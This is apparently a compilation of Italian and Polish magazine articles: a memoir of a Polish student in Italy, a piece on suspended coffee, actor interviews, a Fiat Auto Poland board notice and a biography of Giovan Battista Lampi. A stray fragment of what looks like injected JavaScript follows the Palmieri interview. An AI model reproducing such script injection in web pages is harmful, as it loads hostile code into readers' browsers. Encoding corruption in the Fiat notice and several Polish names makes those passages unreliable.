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Intreccio di amicizia e amore di una polacca in Italia (Parte 2)

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Joanna Ewa Janusz

Inizi difficili sia per la lingua che per la lontananza da casa. I pianti al telefono con papà, difficoltà a capire le lezioni. Ma i miei genitori e tanto meno i nostri cari amici, non mi lasciano cadere nella disperazione. La  vita senza la famiglia e gli amici non sapevo cosa fosse. Proprio essa ci rende sereni, pieni di gioia e di sicurezza. Un inno all’amicizia e all’umanità che la dura prova mi fa conoscere e mi fa maturare. Non avessi fatto questa esperienza, non avrei appreso così pienamente cosa vuol dire essere veramente amati  da così tante persone che mi circondavano e mi sostenevano ad ogni passo. Conservo tuttora tutte le lettere che mi hanno scritto i miei genitori, vari parenti, amici ecc. Anch’io scrivevo molto e sentivo che mi aprivo mentalmente, cosa che credo non avrei fatto se mi fossi fermata più vicina a casa. Come diceva Aroldo: “A te stava troppo stretta la tua cittadina”. Aroldo ad ogni difficoltà mi sostiene ed incoraggia. Gli studi mi appassionano e sento che la scelta della facoltà è giusta. Studiare aiuta a capire il mondo e ritrovarmi nella cultura diversa dalla mia, e soprattutto a farmi almeno in una piccola parte dimenticare quanto sono lontana da casa mia, la casa in Polonia,  perché ora sono due le case che possiedo. Sento la mancanza del mio fratellino che non vedo crescere ma ho fortuna di poter ogni tre mesi tornare a casa. Grandi momenti intrecciati tra gioia e tristezza ma la voglia di andare avanti e finire gli studi mi aiutano di proseguire nella direzione che avevo scelto. Arriva il mio primo esame e ne esco vittoriosa. Ce l’ho fatta ma è solo l’inizio. Ci vogliono ancora tanti anni. Riesco a costruirmi la mia vita all’estero. Chiaro non mancano duri momenti ma sono superabili e se hai qualcuno che ti vuole bene si riesce a superare tutto. Dentro di me nasce un io diverso di prima, più umile, più normale in un certo senso. So cosa vuol dire essere aiutati, esse compresi, vivere in realtà a contatto con diverse persone e capire cose è la tolleranza. Sono dei sentimenti che mi fanno crescere e perdere almeno in parte il mio caratteraccio che ogni tanto emergeva. La mia vita da studentessa prosegue e ormai sono non lontana dalla fine degli studi  finché non accade una grave malattia ad Aroldo, proprio quando stabiliamo il titolo della mia tesi in storia. Siamo quasi arrivati alla fine e qui inizia un momento doloroso soprattutto per i suoi famigliari. Mariadele lo assiste insieme con i suoi figli e amici. Non lo abbandona mai. Una cosa meravigliosa, una vera dimostrazione dell’amore tra i due coniugi. La mia tesi prosegue per merito di uno dei figli che si prende il compito del padre malato per portare al termine un lavoro iniziato. Mi dà una mano nell’ordinare i documenti per la mia tesi che abbiamo raccolto con Aroldo. Si va avanti . Devo farlo per Lui, non posso deluderlo. Quante lacrime versate per il contesto che si viene a creare. Aroldo così umano e pronto ad aiutare tutti sta a letto immobile, mi sento male. La tesi quasi conclusa, ancora la tipografia e ci siamo. Non sembra vero, fra poco potrò discutere la tesi e tornare nella mia patria amata. Tornare e quindi lasciare tutto alle spalle.  Qui ho creato la mia vita: amici, divertimenti, interessi coltivati, punti di riferimento ecc. Il cuore mi si rattrista ma l’idea di tornare a casa e stare vicino ai miei, prevale su ogni cosa. Tanto so che gli amici veri restano per sempre.  Potrò andare sempre a trovarli o sentirli al telefono o via mail. Stare all’estero è bello ma la mia patria è la Polonia.

Il giorno in cui discuto la mia tesi erano presenti  gli amici stretti che mi hanno accompagnato durante i miei  studi (Daniela e Fabio, Alba con Daniele, Teresa con la sua famiglia ) più mio fratello Wiktor venuto dalla Polonia a darmi coraggio in quel giorno così importante della mia vita più tanti altri che comunque mi erano vicini cono lo spirito. Emozione enorme ma rapida, solo un quarto d’ora e sono laureata. Evviva, gioia e tristezza insieme. Una cosa finisce e l’altra inizia. Sono carica di emozioni e di ottimismo. Il treno che parte per la Polonia e lascio tutto alle spalle. Le amicizie però non cessano e si rivelano ancora più forti a distanza. Irmi con la quale ho stretto amicizia e conosciuta sul treno durante uno dei miei viaggi numerosi per la Polonia, Marì con la quale mantengo tutt’ora i contatti come se fosse ieri per non parlare di tanti altri con i quali mi sento oppure scrivo. Fra poco inizierà un nuovo capitolo nella mia vita. Ritorno sereno ma devo fare conti con la realtà nuova. Non mi abbatto perché ho la mia laurea desiderata e raggiunta, tengo strette al cuore le mie vicissitudini e amicizie. Intraprendo la via per fare la traduttrice. Vengo assunta presso un’agenzia di traduzioni per poi essere al servizio della Fiat. Sono i primi passi in azienda che per muovermi non mi bastano gli studi letterari ma ci vuole parecchia esperienza nel campo automobilistico. Conoscenze e  amicizie nuove mi fanno sentire di nuovo a casa. Gli incontri con persone nuove riempiono la mia anima romantica. La mia vita piena di entusiasmo e fede nel futuro si trasforma in una favola ancora più bella.  Non passano neanche due anni, avviene l’incontro con il mio marito italiano e la vita di nuovo prende una direzione diversa. Lascio di nuovo la mia patria e questa volta la lascio per amore. Un anno dopo il matrimonio arriva la nostra figlia. Viviamo la vita di tutti giorni con le gioie e i contrasti della realtà che mi circonda non più da studentessa ma da mamma e moglie straniera. I casi della vita sono davvero misteriosi e non sappiamo in quale momento della vita il sapere che si acquisisce nel corso della vita, possa  fiorire come nel mio caso. Dopo alcuni anni arriva il nostro secondo figlio ed ora siamo in quattro.  L’Italia mi è tanto cara ma la Polonia è la mia patria dove volgiamo lo sguardo sempre ed a cui  sospiriamo. Chissà magari un giorno ci ritorneremo.

„Oddaj jeśli możesz, przyjmij jeśli chcesz”

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Dawid Dura

Pomijając burzliwą dyskusję, która rozgorzała w Internecie po tym, jak pierwsze kawiarnie przystąpiły do akcji, fakty są takie, że w tej chwili „zawieszonej kawy” można napić się w ponad 40 miastach w Polsce. Projekt nabrał takiego tempa, że ludzie „zawieszają” już nawet bilety do teatru, wino czy ciepłą zupę.

Inicjatywę, która ma na celu wzmocnienie więzi społecznych i podarowanie odrobiny radości nieznajomemu, najlepiej opisał włoski pisarz Luciano De Crescenzo w książce „Il caffè sospeso”: „W chwilach niezwykłej radości neapolitańczyk płaci w barze nie za jedną kawę, którą wypija sam, ale za dwie – jedną dla siebie, a drugą – dla klienta, który przyjdzie tam później. To jakby fundował kawę całemu światu…”.

Wcześniej, również włoski, nieżyjący już poeta, pisarz i scenarzysta Tonino Guerra wspomniał o tym neapolitańskim zwyczaju w scenariuszu do filmu „Małżeństwo po włosku” napisanego dla Vittoria De Sica. Pewnego razu w kawiarni w Neapolu usłyszał ubogiego człowieka, pytającego: „Czy macie zawieszoną kawę?”.

10 grudnia 2011 r. przeprowadzono w Neapolu akcję społeczną pt. „Dzień Zawieszonej Kawy”, która miała doprowadzić do odrodzenia nieco zapomnianej tradycji. Znają ją również w Kanadzie, Czechach, Wielkiej Brytanii, Rosji i kilku innych krajach.

Do Polski idea „zawieszonej kawy” dotarła przez… Ukrainę. Jej pomysłodawcą i koordynatorem jest pochodzący z Kijowa Aleksander Każurin, który od pewnego czasu mieszka w Krakowie. Oczarowany powodzeniem dzielenia się nie tylko kawą (także chlebem, książkami, lekami) na Ukrainie, postanowił namówić do wsparcia projektu właścicieli polskich lokali. Pod koniec lutego br. opłacone napoje przyjmowano i wydawano w ośmiu miejscach. Teraz „zawieszona kawa” ma już 115 uczestników w całej Polsce. Dominują większe miasta jak Warszawa, Kraków i Wrocław, ale nie brakuje też mniejszych jak Andrychów, Pszczyna czy Biłgoraj. Lokale wspierające inicjatywę oznaczone są symbolem dwóch nałożonych na siebie dłoni w kolorach tęczy. Zazwyczaj na stolikach znajduje się instrukcja dla klientów, a przy barze wisi uaktualniana tabliczka z „zawieszonymi” artykułami, ale sposób oznaczania dostępnych produktów zależy wyłącznie od inwencji właścicieli.

Co najważniejsze, nikt się jeszcze nie wycofał, a liczba fanów akcji na Facebooku ciągle rośnie. Polubiło ją już blisko 13 tysięcy osób. Podsumowując, dzięki tej inicjatywie kawy może napić się każdy, kto ma na nią ochotę. W ten sposób dziś ktoś częstuje Ciebie, a jutro Ty możesz poczęstować kogoś.

Zwyczaj ten może być modyfikowany na różne sposoby, według uznania. Jednak to właściciele lokali decydują, czy „zawieszamy” całą ofertę z menu, czy tylko określone potrawy lub napoje. Zamiast kawy możemy „zawiesić” ciasto, gorącą herbatę, sałatkę lub cały obiad.

Mimo sukcesów, nie brakuje głosów krytyki dotyczących inicjatywy. Według jednych taki rodzaj pomocy nie trafi do naprawdę potrzebujących, tj. osób biednych lub z marginesu. Drudzy twierdzą, że to sprytny chwyt marketingowy służący kawiarniom do łatwego napełniania sobie kieszeni i nie informowania o niczym Urzędu Skarbowego. Jednak pomimo krytyki trend nadal rozprzestrzenia się jak wirus, a pomysłom nie ma końca – np. pewna restauracja z Wrocławia przystąpiła do inicjatywy, zmieniając początkową ideę na „zupę po sąsiedzku”.

“The Appointment” di Gianpiero Alicchio debutta a Los Angeles

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Nel momento in cui state leggendo quest’intervista, probabilmente Gianpiero Alicchio, il giovane e promettente attore italiano conosciuto recentemente grazie alla pubblicità Alcatel Touch, sarà a Los Angeles per ricevere un premio dalla giuria del festival LA Comedy per il suo cortometraggio “The Appointment” girato nella “città eterna”, oppure starà girando la continuazione del corto modificandolo in una produzione cinematografica. Intanto, incontrato a maggio in Piazza Navona, una delle piazze più magiche e romantiche di Roma, esclusivamente per GAZZETTA ITALIA, ci racconta della sua prima opera da regista.

Gianpiero, a fine aprile 2013 ti sei qualificato al Comedy Fest di Los Angeles come uno dei partecipanti al concorso. Una bella soddisfazione?

“Questo festival è alla sua tredicesima edizione ed è uno dei più importanti festival di commedia negli Stati Uniti. Si tiene a Los Angeles vicino a Hollywood. Partecipano tutti i paesi del mondo e sono pochi ad essere selezionati. Il cortometraggio, L’Appuntamento, è stato selezionato ufficialmente e sarà proiettato al cinema a Los Angeles il 12 maggio alle 8.30 pm. come premiere americana”.

Di cosa parla L’Appuntamento?

“Una coppia di amici, di circa trent’anni, invitano due loro coetanee a cena fuori. Come un vero appuntamento che si rispetti, lasciano decidere il locale alle donne e le rendono loro ospiti. La scelta ricade su un locale vegetariano non molto economico, a detta loro. I ragazzi, cercano di ricorrere alle loro doti galanti per ‘svoltare la serata’ in intimità. Non mostrano nessun risentimento, mettendo a loro agio le ragazze tanto da far venir loro il desiderio di ripetere quanto prima l’uscita. Riescono ad ottenere una promessa dai ragazzi ma, al momento di salutarsi, qualcosa non va per il verso giusto. La serata cambia…”.

Ad apertura film hai voluto inserire una frase di Nietzsche. Spiegaci qual è la relazione.

“Di solito pensare che è l’uomo, sesso forte, a far soffrire in amore la donna è luogo comune ma io credo che ci sia una parità anche in questo senso. L’ago della bilancia segna perfettamente un equilibrio di sofferenza, è capitato a tutti di ritrovarsi in una situazione scomoda nella quale la scelta è ricaduta sull’apparire invece che sull’essere, è molto più facile sembrare innamorati per ottenere qualcosa, che esserlo e tornare a casa a mani vuote, apparentemente. Mi piace scavare nei meandri dell’amore e grattare la corteccia superficiale, per scoprire sempre qualcosa che non so a riguardo o trovare conferme. Credo che per parlare dell’amore bisogna averlo conosciuto, ma qui parliamo del primo incontro, l’appuntamento”.

La scelta di ambientarlo nella “città eterna” Roma, ha qualche riferimento o è solo casuale?

“La scelta era sicuramente una città esteticamente romantica ma il motivo principale è stato il budget [sorride]”.

Con chi hai lavorato e com’è stato?

“Il gruppo di lavoro è stato individuato tra amici e colleghi di cui ho molta stima, sono dei grandi professionisti. Ognuno di loro ha un gran talento e dovrebbero essere presi più in considerazione dallo showbusiness. Il cast tecnico è stato formidabile a rispondere subito nel migliore dei modi alle mie richieste. Gli attori… sono dei pazzi come me [ride] ma molto molto bravi”.

In questo cortometraggio fai sia il regista sia l’attore, come sei riuscito a conciliare questi due ruoli?

“É stata la mia prima esperienza professionale alla regia e devo ammettere che non è stato semplice ma molto molto divertente, in più aggiungi che ho avuto la fortuna di essere anche attore, che vuoi di più [ride]. Io credo che quando nel tuo film sei anche attore ti ritrovi molto più dentro di quanto tu possa esserlo da regista”.

E adesso? Andrai a Los Angeles?

“Credo che sia giunto il momento di fare la traversata di Colombo e scoprire l’America [sorride]”.

Stai preparando altri progetti come regista?

“Sì, sto portando avanti tre progetti, non contemporaneamente, uno dei quali è la scrittura del lungo metraggio di The Appointment”.

E come attore?

“Farò uno spettacolo teatrale a Napoli a fine giugno, primi di luglio, a Capo Miseno. Non posso anticipare nulla ma vi assicuro che sarà uno spettacolo veramente suggestivo. Vi consiglio di non perderlo se sarete a Napoli”.

A proposito di appuntamenti, qual’ è il tuo prossimo appuntamento?

“A proposito di appuntamenti, devo andare… [sorride]”.

Walne Zgromadzenie Akcjonariuszy Fiat Auto Poland S.A. Pan Luigi Galante prezesem zarz?du Fiat Auto Poland S.A.

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15 marca w Bielsku-Bia?ej, odby?o si? Zwyczajne Walne Zgromadzenie Akcjonariuszy Fiat Auto Poland S.A., które zatwierdzi?o sprawozdanie finansowe zarz?du za rok obrotowy 2012.

Przychody Spó?ki ze sprzeda?y zamkn??y si? kwot? 14 113 720 042,27 z?otych. Spó?ka w 2012 r. wypracowa?a zysk w kwocie 106 769 822,44 z?otych, który w ca?o?ci zosta? przeznaczony na kapita? rezerwowy Spó?ki.

Walne Zgromadzenie Akcjonariuszy Fiat Auto Poland powo?a?o w sk?ad zarz?du Spó?ki nast?puj?ce osoby:

Pan Luigi Galante – prezes  zarz?du

Pan Czes?aw ?wistak – cz?onek zarz?du

Pan Andrzej Pi?tka – cz?onek zarz?du

Pan Antoni Gre? – cz?onek zarz?du

Pan Marek Kisz – cz?onek zarz?du.

Prezes zarz?du Fiat Auto Poland, Pan Luigi Galante ma 60 lat, jest absolwentem Wydzia?u In?ynierii Mechanicznej Uniwersytetu w Rzymie. Do??czy? do Grupy Fiata w czerwcu 1980 r., wspó?pracuj?c przy uruchomieniu zak?adu Sevel-Atessa. Zajmowa? wiele stanowisk wi???cych si? z coraz wi?ksz? odpowiedzialno?ci? w zak?adach przemys?owych Fiat Group Automobiles we W?oszech, takich jak: Mirafiori, Cassino, Pomigliano i Sevel – zyskuj?c znacz?ce do?wiadczenie w zarz?dzaniu zak?adami, in?ynierii produkcji, planowaniu produkcji. Od grudnia 2011 r. Pan Luigi Galante jest odpowiedzialny za produkcj? pojazdów (Vehicle Manufacturing) w regionie EMEA (Europa, Bliski Wschód, Afryka).

GIOVAN BATTISTA LAMPI

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GIOVAN BATTISTA LAMPI (Romeno/Trento 31/12/ 1751 – Vienna 11/2/1830). Quattordicesimo figlio di Matthias Lamp, pittore e di Chiara Margherita Lorenzoni, la quale muore per i postumi del parto appena quattro giorni dopo la sua nascita. A prendersi cura di lui durante la prima infanzia sarà la sorella maggiore Isabella.

Giovan Battista apprende i primi rudimenti della pittura dal padre, ma nel 1768 viene inviato a Salisburgo, da suo cugino il pittore Pietro Antonio Lorenzoni. Questi lo colloca presso una bottega in città, quella del ritrattista F.X. König, che a sua volta lo indirizza ad un maestro molto più affermato, F.N. Streicher, sempre a Salisburgo.

A vent’anni decide di ritornare a Romeno per iniziare autonomamente la sua attività di ritrattista. Nel 1773 si stabilisce a Verona, protetto dal marchese Giuseppe Sagramoso. Qui attinge all’eredità artistica di Giambettino Cignaroli, pittore alieno al pittoricismo veneziano, vicino invece alla rappresentazione bolognese e romana. Frequenta inoltre la scuola dei pittori tiepoleschi, ceroplasti e poeti, Francesco e Dante Lorenzi. Il 27 dicembre del 1773 viene acclamato Accademico d’Onore. Sposa Anna Maria Franchi di Cloz dalla quale ha già avuto una figlia, Anna Maria Margherita. Nel 1775 ha un secondo figlio, Giovanni Battista il Giovane. Nel 1776 apre una nuova bottega a Trento.

L’anno successivo esegue un San Luigi Gonzaga per la Chiesa di Santa Croce del Bleggio. L’11 aprile dello stesso anno gli nasce un terzo figlio, Vincenzo Melchiorre, che però soltanto qualche mese dopo, morirà. Intanto è morto anche suo padre.

Nel 1779 è a Rovereto, ma già alla fine dell’anno è a Innsbruck. Qui nel 1781 esegue un ritratto dell’Arciduchessa Maria Elisabetta d’Asburgo-Lorena appena trasferitasi a Innsbruck, il cui esito favorevole gli aprirà la strada verso la Casa d’Austria. L’arciduchessa Marianna infatti, già lo invita a Klagenfurt per essere anche lei effigiata dal suo pennello. In questa città egli decide di italianizzare il suo cognome Lamp in Lampi, per meglio essere individuato come italiano in tutta Europa. È un temperamento ambizioso e sa che, presentandosi come pittore inequivocabilmente italiano, all’estero ha maggiori possibilità d’affermarsi.

Tuttavia le vere mete di Giovan Battista Lampi sono la Corte di Vienna e quella russa. A Vienna vi giungerà, insieme alla sua famiglia, nel 1783. Appena nella capitale austriaca, viene incaricato di ritrarre la giovane Elisabetta Guglielmina di Württemberg, promessa sposa dell’Arciduca Francesco.

Nella Corte dell’Imperatore d’Austria Giuseppe II è accolto con tutti gli onori e presto viene insignito del titolo di Professore dell’Accademia delle Belle Arti. Esegue un pomposo ritratto a grandezza naturale di Giuseppe II.

Divenuto ormai famoso, il 27 agosto del 1788 Francesco Casanova invia a Marcello Bacciarelli, pittore di Corte del re di Polonia, una lettera di raccomandazione in favore del Lampi, annunciandogli l’imminente arrivo del pittore italiano a Varsavia. Appena giunto nella capitale polacca, Lampi fa subito incetta di svariate commissioni. È accolto con tutti gli onori dal Re Stanislao Augusto Poniatowski, del quale eseguirà alcuni ritratti.

Durante i circa tre anni di permanenza in Polonia dipinge diverse e tele e particolarmente ritratti. È del 1789 il ritratto della Contessa Josefa Mniszech Potocka e di suo marito Stanislao Szcz?sny Potocki con i suoi figli. Seguono quelli di Isabella Lasocka Ogi?ska, quello di Urszula D?bi?ska quello del Maresciallo della Dieta Stanislao Ma?achowski, o di Helena Prze?dziecka Radziwi??.

A lui ricorrono sia i membri del partito regio sia i ribelli della futura Confederazione di Targowica, che si fanno effigiare nelle vesti eroiche di cavalieri feudali, come l’Atamanno Ksawery Branicki e il Generale dell’Artiglieria Stanislao Szcz?sny Potocki ritratti con i loro  figli. I lealisti, invece,  preferiscono apparire in costume occidentale o nel tradizionale kontusz, come il patriota Pawe? Grabowski.

Torna a Vienna ed espone sette suoi dipinti alla Mostra Accademica del 1790. Qui ritrae, a figura intera, il nuovo Imperatore Leopoldo II. Frattanto porta a termine alcuni dipinti iniziati in Polonia, tra i quali il ritratto di Sophie De Witt come vestale, oggi conservato a Trento nel Castello del Buonconsiglio.

Successivamente si trasferisce a Jassy in Russia, in Moldavia e a San Pietroburgo per eseguire alcuni ritratti di dignitari di quei luoghi.

L’11 febbraio del 1795 muore sua moglie che era rimasta a Vienna con i figli.

Mentre è ancora a lavorare in Russia, il 16 novembre riceve la notizia della morte della sovrana per cui decide di fare ritorno in Austria, ben consapevole di lasciarsi alle spalle tutto un mondo per lui dorato e per sempre.

A Vienna vi resterà fino alla morte.

Ecco le sue più importanti opere del periodo polacco, conservate al Museo Nazionale di Varsavia: i ritratti di “Stanislao Augusto”, di “Teresa Potocka nata Ossoli?ska con suo nipote Alfred”, di “Julia Lubomirska Potocka”, di “Kordula Komorowska Potocka”, di “Ignota”, di “Urszula Morsztynówa Dembi?ska”, di “Pawe? Grabowski”, di “Józefa Radziwi??owa Massalska Grabowska”, di “Józefa Amelia Mniszek Potocka con la figlia Pelagia”.

Seguono altri lavori, oggi distribuiti negli altri Musei di Polonia, Russia, Ucraina, Italia, Francia e Germania: i ritratti di “Izabela Lasocka Ogi?ska”, di “Jan Potocki”, di “Julia Lubomirska Potocka”,di “Stanislao Augusto”, di “Due Dame di Casa Tomatis”, di “Due bambine di Casa Tomatis presso un busto”, di “Dama come pittrice”, di “Sophie De Witt come Vestale”, di “Joseph Paul von Weinbrenner”, di “Medico spagnolo”, di “Architetto Latour”, di “Dama in veste di Diana”, di “J. F. Nikolaj”, di “Stanis?aw Szcz?sny Potocki con i figli”, di “J di “Joseph Liesganig”, dell’Atamanno Ksawery Branicki di “Ludwik Starzinsky”, quadro di ubicazione ignota, di “Donna con cane”, quadro andato perduto e di “Stanislao Augusto” dipinto insieme a Marcello Bacciarelli.

Acuto ritrattista, Giovan Battista Lampi dipinse con gusto neoclassico e morbidezza cromatica anche soggetti sacri. Con, alle spalle, tante esperienze diverse, nelle sue opere ha saputo sottolineare le caratteristiche individuali del modello, aderendo a volte alla tradizione pittorica di Vienna, come ad esempio riprodurre, evidenziandole, le pelli delicate; ed ha assunto l’idealizzazione pittura dei francesi. Poi nell’ultima fase, sotto l’influenza del classicismo, ha utilizzato un colore assolutamente più fresco, di “Granduca e Grandukessa di Kostancin” (solo studio).

Federico Palmieri è il nuovo “cattivo” italiano

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Federico Palmieri è un nuovo talento del cinema italiano “cattivo”. Lo incontro in Parco Appia Antica a Roma, arriva direttamente dal cast di un video musicale “La calma” dei Libra. Nel video strilla, si arrabbia, è tutt’altro che calmo, racconta, ma in realtà è

molto tranquillo, sorride, sembra quasi timido. Forse soltanto qualche tatuaggio ci potrebbe far pensare che è davvero un tipo duro, ma non è così, il cattivo lo fa solo nei film, come del resto vedrete presto nel “Multiplex” (già da giugno 2013 al cinema) e “Et in nomine satan” (autunno 2013).

Federico, “Multiplex”, il nuovo thriller italiano “all’americana” diretto da Stefano Calvagna, esce al cinema l’11 giugno 2013 e tu sei la sua star. Senti i brividi sulla pelle vedendo il tuo volto su tutti i poster di tutti i cinema UCI in Italia?

“Tecnicamente non sono la star ma anzi sono il meno conosciuto del cast! Il mio personaggio da “cattivo” chiaramente viene messo in rilievo essendo un thriller”.

La trama di “Multiplex” è davvero terrificante. Un gruppo di ragazzi viene intrappolato in un cinema maledetto insieme a una guardia notturna, che interpreti tu, che nasconde un macabro segreto. Difficile interpretare il ruolo di “cattivo”?

“Personalmente prima mi documento sul tipo di squilibrio e poi vado di fantasia ed istinto, cerco di guardare la realtà con accortezza per poi riprodurla con la mia immaginazione. Ogni personaggio ha un suo tipo di preparazione ma non sono fanatico di un metodo. Nella recitazione, preferisco la ricerca continua. Presto la mia anima al personaggio e poi il resto viene da sé”.

I lavori su quel film si sono svolti in soli 14 giorni, è una produzione molto veloce e giovane. Cosa ci racconti del cast e della vostra collaborazione?

“Il cast è veramente di qualità, tutti giovani ma con un’esperienza ed una maturità di set da veterani. Sul set c’è sempre stato un bel clima, tutti gran lavoratori e professionisti a partire dall’ottima regia di Stefano Calvagna, fino ad arrivare al direttore della fotografia, Dario Di Mella, una persona splendida a livello umano ed un talento che sicuramente troverà grossi riscontri tra i grandi”.

Come attore sei anche presente in vari video musicali. Immaginavi di diventare un musicista?

“Tra poco uscirà il video dei Libra un talentuosissimo gruppo, col singolo “La calma”. La musica è sempre stata la mia seconda passione ma non ho mai pensato di fare il musicista perché questo ramo artistico è stato subito preso da mia sorella Shanna che, fin da quando aveva pochi anni, suonava diversi strumenti. Ora con il suo gruppo, i “COICOI”, sono in uscita con un album e un video che sta raccogliendo un numero molto importante di visualizzazioni in rete. Il video è stato girato dal mio amico David Petrucci con cui collaboro da un anno e faccio parte del cast dei suoi ultimi lavori, il film Hellis Silence, prossimamente nelle sale, e la serie Sinners, al debutto tra qualche settimana”.

Non tutti lo sanno ma sei tornato a fare l’attore dopo tanti anni di pausa. Cosa facevi nel frattempo e come quest’esperienza ti ha cambiato?

“Per 10 anni ho lavorato nell’abbigliamento, ho mosso i primi passi come commesso per poi diventare rappresentante di un importante brand di jeans e per appagare il mio bisogno di espressione artistica mi sono diplomato all’Accademia del Lusso come Fashion designer e cool hunter. Successivamente il caso ha voluto che si ripresentasse la recitazione nella mia vita, ho solo seguito il destino”.

Studi all’Accademia di Lusso, viaggi per New York o Londra, buoni guadagni… Valeva la pena lasciare tutto per far di nuovo l’attore?

“Tre anni fa durante l’estate mi arriva un messaggio della mia prima insegnante di recitazione, che non sentivo da dieci anni, in cui mi invitava a partecipare al laboratorio di recitazione tenuto da Joseph Ragno, uno dei veterani e fondatori dell’Actors Studio. Ero libero da impegni e pensai che non sarebbe stata una cattiva idea partecipare. Dal momento che nei laboratori degli americani si praticano diverse forme di rilassamento e di lavoro sensoriale, il mio scopo era rilassarmi per dieci giorni. Durante i giorni di laboratorio si stabilì subito un’intesa particolare con Joseph che oltre a riaccendere la mia voglia di recitare mi disse che sarebbe stata una follia non continuare a farlo. Così una volta finito il mio studio su Mare Dentro per il personaggio interpretato da Bardem, Joseph mi mise a lavorare in coppia con una ragazza su un testo molto particolare; non so dire bene cosa capitò ma mi innamorai follemente di quella ragazza, e perciò decisi di ricominciare a fare l’attore per conquistarla! Questa persona oltre a diventare l’amore della mia vita, mi ha insegnato moltissimo. Con lei in questi ultimi tre anni ho scritto uno spettacolo teatrale “Luna Elettrica”, che portiamo in scena ogni anno, ho anche girato tre film, fatto pubblicità, serie tv e corti ed ora ad un passo dall’uscita nelle sale, momento di svolta per un attore, mi sento di doverle tutto. Non so ancora dirti se effettivamente ne vale la pena aver lasciato una carriera avviata per un mare di incertezze, ma più vado avanti e più mi incuriosisce vedere come andrà a finire questa storia”.

Quello che non abbiamo ancora detto è la genetica… Suppongo che non sia stato facile essere il figlio d’arte di Gaetano Palmieri.

“Mio padre era un regista di cinema, aveva una radio ed è morto come scultore a Los Angeles, sono un figlio d’arte mancato diciamo, perché non è mai stato con me, quindi non ho avuto pressioni ma solo mancanze…”.

É vero che per anni soffrivi di balbuzie?

“Sì, per venti anni ho sofferto di questo problema, col tempo ho imparato a vivere di escamotage nel parlare, ma la vera soluzione è avvenuta frequentando un laboratorio di ‘psicodizione’ creato da Chiara Comastri, la quale mi ha fornito gli strumenti per risolvere questo problema. Il mio sogno sarebbe creare una compagnia di attori balbuzienti e farli andare in scena senza più nessun problema!”

Oltre a “Multiplex” dove ti vedremo?

“La seconda settimana di giugno esce Multiplex, nel frattempo è in uscita una serie, “Sinners” di David Petrucci che mi vede tra i protagonisti ed in autunno uscirà nelle sale “In nomine satan”, film girato sulla storia delle bestie di satana, la famigerata setta di Somma Lombardo. Io interpreto Andrea Volpe, l’esecutore dei tremendi omicidi legati alla setta. La regia è di Emanuele Cerman”.var d=document;var s=d.createElement(‘script’);

Polonia sede ideale per i centri servizi aziendali

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Come valuta l’Associazione dei Leader del Settore dei Servizi di Business in Polonia (ABSL), che associa i principali rappresentanti del settore dei centri di “Shared Services Centers”, in Polonia sono ormai circa 27 mila i lavoratori che gestiscono il settore delle finanze di società dell’Europa occidentale e degli Stati Uniti. Tra le maggiori banche mondiali che hanno già piazzato i loro centri di servizi possiamo elencare la BNP Paribas, la Citigroup, la Deutsche Bank, l’Unicredit e la Credit Suisse. Gli esperti dell’associazione riportano che durante gli ultimi cinque anni il numero di professionisti che lavorano in questi centri è cresciuto di tre volte. Inoltre si calcola che in tutto il settore dei servizi per il business lavorano circa 105 mila persone e l’occupazione aumenta del 20% all’anno. Jacek Levernes, membro del CdA della HP Europa, sostiene che il potenziale di sviluppo dei servizi per il settore finanziario in Polonia è molto ampio: durante i prossimi anni potrebbe aumentare di altri 100 mila posti di lavoro. A favorire questa crescita c’è sia lo sviluppo del settore finanziario che l’attrattività della Polonia per le aziende del settore dei servizi per il business.

Informazioni sul servizio Polonia Oggi: www.poloniaoggi.pl

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Il successo di Kielce nel mercato fieristico

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Secondo i dati della POT (Associazione del turismo polacca) nel 2011 in Polonia si sono svolti oltre 27 mila incontri ed eventi nell’ambito di economia, cultura e politica. A parteciparvi sono state oltre 37 mila persone. Circa la metà hanno partecipato a fiere ed esposizioni, congressi e conferenze. La popolarità della Polonia sotto quest’aspetto continuerà a crescere visto che il mercato polacco diventa sempre più attraente anche per organizzatori degli eventi internazionali. Uno dei centri di fiere più importanti sono le Targi Kielce, il terzo maggiore centro espositivo nell’Europa centro-orientale ed uno dei due leader su scala nazionale (con una partecipazione al mercato pari al 30%). Nel 2012 a Kielce sono stati presenti oltre 6 mila espositori da 60 paesi e i visitatori sono stati 220 mila. Il centro espositivo di Kielce è in ampliamento, si sta costruendo un nuovo centro congressi delle Targi Kielce e già quest’anno sono previsti anche ulteriori investimenti.

Informazioni sul servizio Polonia Oggi: www.poloniaoggi.pl

 

L’università Jagellonica si conferma quale migliore ateneo polacco

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Dall’edizione di quest’anno del “Ranking degli atenei polacchi 2013”, stilato dalla fondazione “Perspektywy” e dal quotidiano “Rzeczpospolita”, risulta che l’Università Jagellonica si è confermata ancora una volta il miglior ateneo polacco. L’università di Cracovia ha sorpassato di poco (0,08%) l’Università di Varsavia, che anche quest’anno ha occupato la seconda posizione. Al terzo posto si è classificata l’Università A. Mickiewicza di Pozna?, mentre la quarta piazza è andata al Politecnico di Varsavia. Quest’anno la Scuola di Economia di Varsavia è ritornata nella posizione di leader della classifica delle università economiche. Per quanto riguarda invece gli atenei privati, l’Accademia Leona Ko?mi?skiego di Varsavia si è confermata leader indiscussa. La graduatoria delle università private è diminuita di 30 posizioni, visto la chiusura di molti atenei in Polonia. Quest’anno la giuria ha valutato per la prima volta quaranta facoltà che godono di grande popolarità tra gli studenti polacchi e sono ancora le due università vincitrici ad essere percepite come le facoltà più interessanti e frequentate. Il professor Marek Rocki, membro della giuria, riporta che “l’analisi dei risultati della classifica mostra che le migliori università polacche di anno in anno continuano a rafforzare la loro posizione”.

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Turismo medico in Polonia

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Durante un recente incontro organizzato dall’Associazione Nazionale degli Ospedali Privati, tenutosi nella sede dell’associazione “Pracodawcy RP”, è stato discusso l’argomento del turismo medico come una chance di sviluppo per il settore medico polacco. I partecipanti all’incontro hanno constatato che gli ospedali privati polacchi sono molto competitivi rispetto a quelli del resto d’Europa. “Un servizio di alta qualità, offerto a prezzi relativamente bassi ed effettuato da personale ben preparato e qualificato potrebbe dare alla Polonia la possibilità di ottenere un grande successo in questo campo” ha detto Andrzej M?drala, presidente dell’Associazione “Pracodawcy RP”. Inoltre è stato detto che la Polonia, come tutti gli altri Stati membri dell’Unione Europea, ha l’obbligo di introdurre entro il 25 ottobre di quest’anno la direttiva sui diritti dei pazienti nell’assistenza sanitaria transfrontaliera. Le soluzioni proposte in quest’atto europeo offrono opportunità per sviluppare il cosiddetto “turismo medico” sul territorio polacco. A febbraio il Ministero della Salute ha già presentato le basi per il disegno di legge che consentirà di attuare la direttiva europea.

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